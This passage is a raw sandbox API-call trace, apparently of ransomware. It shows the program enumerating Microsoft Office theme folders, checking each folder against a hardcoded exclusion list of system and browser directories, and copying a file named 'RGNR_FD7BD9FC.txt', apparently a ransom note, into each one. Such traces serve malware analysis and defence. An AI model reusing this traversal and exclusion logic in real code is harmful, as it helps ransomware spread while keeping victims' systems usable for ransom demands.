ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="NEWSPR~1.THM")) returned 1 [0093.498] lstrcmpiW (lpString1="Newsprint.thmx", lpString2=".") returned 1 [0093.498] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="..") returned 1 [0093.498] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="OPULEN~1.THM")) returned 1 [0093.498] lstrcmpiW (lpString1="Opulent.thmx", lpString2=".") returned 1 [0093.498] lstrcmpiW (lpString1="Opulent.thmx", lpString2="..") returned 1 [0093.499] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="ORIEL~1.THM")) returned 1 [0093.499] lstrcmpiW (lpString1="Oriel.thmx", lpString2=".") returned 1 [0093.499] lstrcmpiW (lpString1="Oriel.thmx", lpString2="..") returned 1 [0093.499] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="ORIGIN~1.THM")) returned 1 [0093.499] lstrcmpiW (lpString1="Origin.thmx", lpString2=".") returned 1 [0093.499] lstrcmpiW (lpString1="Origin.thmx", lpString2="..") returned 1 [0093.499] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="PAPER~1.THM")) returned 1 [0093.499] lstrcmpiW (lpString1="Paper.thmx", lpString2=".") returned 1 [0093.499] lstrcmpiW (lpString1="Paper.thmx", lpString2="..") returned 1 [0093.499] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="PERSPE~1.THM")) returned 1 [0093.499] lstrcmpiW (lpString1="Perspective.thmx", lpString2=".") returned 1 [0093.499] lstrcmpiW (lpString1="Perspective.thmx", lpString2="..") returned 1 [0093.499] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="PUSHPI~1.THM")) returned 1 [0093.499] lstrcmpiW (lpString1="Pushpin.thmx", lpString2=".") returned 1 [0093.499] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="..") returned 1 [0093.499] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89f7aea0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x89f7aea0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0093.499] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0093.499] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0093.499] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="SLIPST~1.THM")) returned 1 [0093.499] lstrcmpiW (lpString1="Slipstream.thmx", lpString2=".") returned 1 [0093.499] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="..") returned 1 [0093.499] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="SOLSTI~1.THM")) returned 1 [0093.499] lstrcmpiW (lpString1="Solstice.thmx", lpString2=".") returned 1 [0093.499] lstrcmpiW (lpString1="Solstice.thmx", lpString2="..") returned 1 [0093.499] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="TECHNI~1.THM")) returned 1 [0093.499] lstrcmpiW (lpString1="Technic.thmx", lpString2=".") returned 1 [0093.499] lstrcmpiW (lpString1="Technic.thmx", lpString2="..") returned 1 [0093.499] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="THATCH~1.THM")) returned 1 [0093.499] lstrcmpiW (lpString1="Thatch.thmx", lpString2=".") returned 1 [0093.500] lstrcmpiW (lpString1="Thatch.thmx", lpString2="..") returned 1 [0093.500] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2=".") returned 1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="..") returned 1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="Windows") returned -1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="Windows.old") returned -1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="Tor browser") returned -1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="Internet Explorer") returned 1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="Google") returned 1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="Opera") returned 1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="Opera Software") returned 1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="Mozilla") returned 1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="Mozilla Firefox") returned 1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="$Recycle.Bin") returned 1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="ProgramData") returned 1 [0093.500] lstrcmpiW (lpString1="Theme Colors", lpString2="All Users") returned 1 [0093.500] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0093.500] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Theme Colors" | out: lpString1="Theme Colors") returned="Theme Colors" [0093.500] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0093.500] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0093.500] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\RGNR_FD7BD9FC.txt" [0093.500] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0093.504] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*" [0093.504] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.504] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0093.505] lstrcpyW (in: lpString1=0x1eb238, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0093.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89fa1000, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89fa1000, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0093.506] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0093.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89fa1000, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89fa1000, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.506] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0093.506] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0093.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0093.506] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".") returned 1 [0093.506] lstrcmpiW (lpString1="Adjacency.xml", lpString2="..") returned 1 [0093.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0093.506] lstrcmpiW (lpString1="Angles.xml", lpString2=".") returned 1 [0093.506] lstrcmpiW (lpString1="Angles.xml", lpString2="..") returned 1 [0093.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0093.506] lstrcmpiW (lpString1="Apex.xml", lpString2=".") returned 1 [0093.506] lstrcmpiW (lpString1="Apex.xml", lpString2="..") returned 1 [0093.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0093.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".") returned 1 [0093.506] lstrcmpiW (lpString1="Apothecary.xml", lpString2="..") returned 1 [0093.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0093.506] lstrcmpiW (lpString1="Aspect.xml", lpString2=".") returned 1 [0093.506] lstrcmpiW (lpString1="Aspect.xml", lpString2="..") returned 1 [0093.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0093.506] lstrcmpiW (lpString1="Austin.xml", lpString2=".") returned 1 [0093.506] lstrcmpiW (lpString1="Austin.xml", lpString2="..") returned 1 [0093.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0093.506] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".") returned 1 [0093.506] lstrcmpiW (lpString1="Black Tie.xml", lpString2="..") returned 1 [0093.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0093.506] lstrcmpiW (lpString1="Civic.xml", lpString2=".") returned 1 [0093.506] lstrcmpiW (lpString1="Civic.xml", lpString2="..") returned 1 [0093.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0093.506] lstrcmpiW (lpString1="Clarity.xml", lpString2=".") returned 1 [0093.506] lstrcmpiW (lpString1="Clarity.xml", lpString2="..") returned 1 [0093.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0093.506] lstrcmpiW (lpString1="Composite.xml", lpString2=".") returned 1 [0093.506] lstrcmpiW (lpString1="Composite.xml", lpString2="..") returned 1 [0093.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0093.507] lstrcmpiW (lpString1="Concourse.xml", lpString2=".") returned 1 [0093.507] lstrcmpiW (lpString1="Concourse.xml", lpString2="..") returned 1 [0093.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0093.507] lstrcmpiW (lpString1="Couture.xml", lpString2=".") returned 1 [0093.507] lstrcmpiW (lpString1="Couture.xml", lpString2="..") returned 1 [0093.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0093.507] lstrcmpiW (lpString1="Elemental.xml", lpString2=".") returned 1 [0093.507] lstrcmpiW (lpString1="Elemental.xml", lpString2="..") returned 1 [0093.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0093.507] lstrcmpiW (lpString1="Equity.xml", lpString2=".") returned 1 [0093.507] lstrcmpiW (lpString1="Equity.xml", lpString2="..") returned 1 [0093.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0093.507] lstrcmpiW (lpString1="Essential.xml", lpString2=".") returned 1 [0093.507] lstrcmpiW (lpString1="Essential.xml", lpString2="..") returned 1 [0093.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0093.507] lstrcmpiW (lpString1="Executive.xml", lpString2=".") returned 1 [0093.507] lstrcmpiW (lpString1="Executive.xml", lpString2="..") returned 1 [0093.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0093.507] lstrcmpiW (lpString1="Flow.xml", lpString2=".") returned 1 [0093.507] lstrcmpiW (lpString1="Flow.xml", lpString2="..") returned 1 [0093.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, 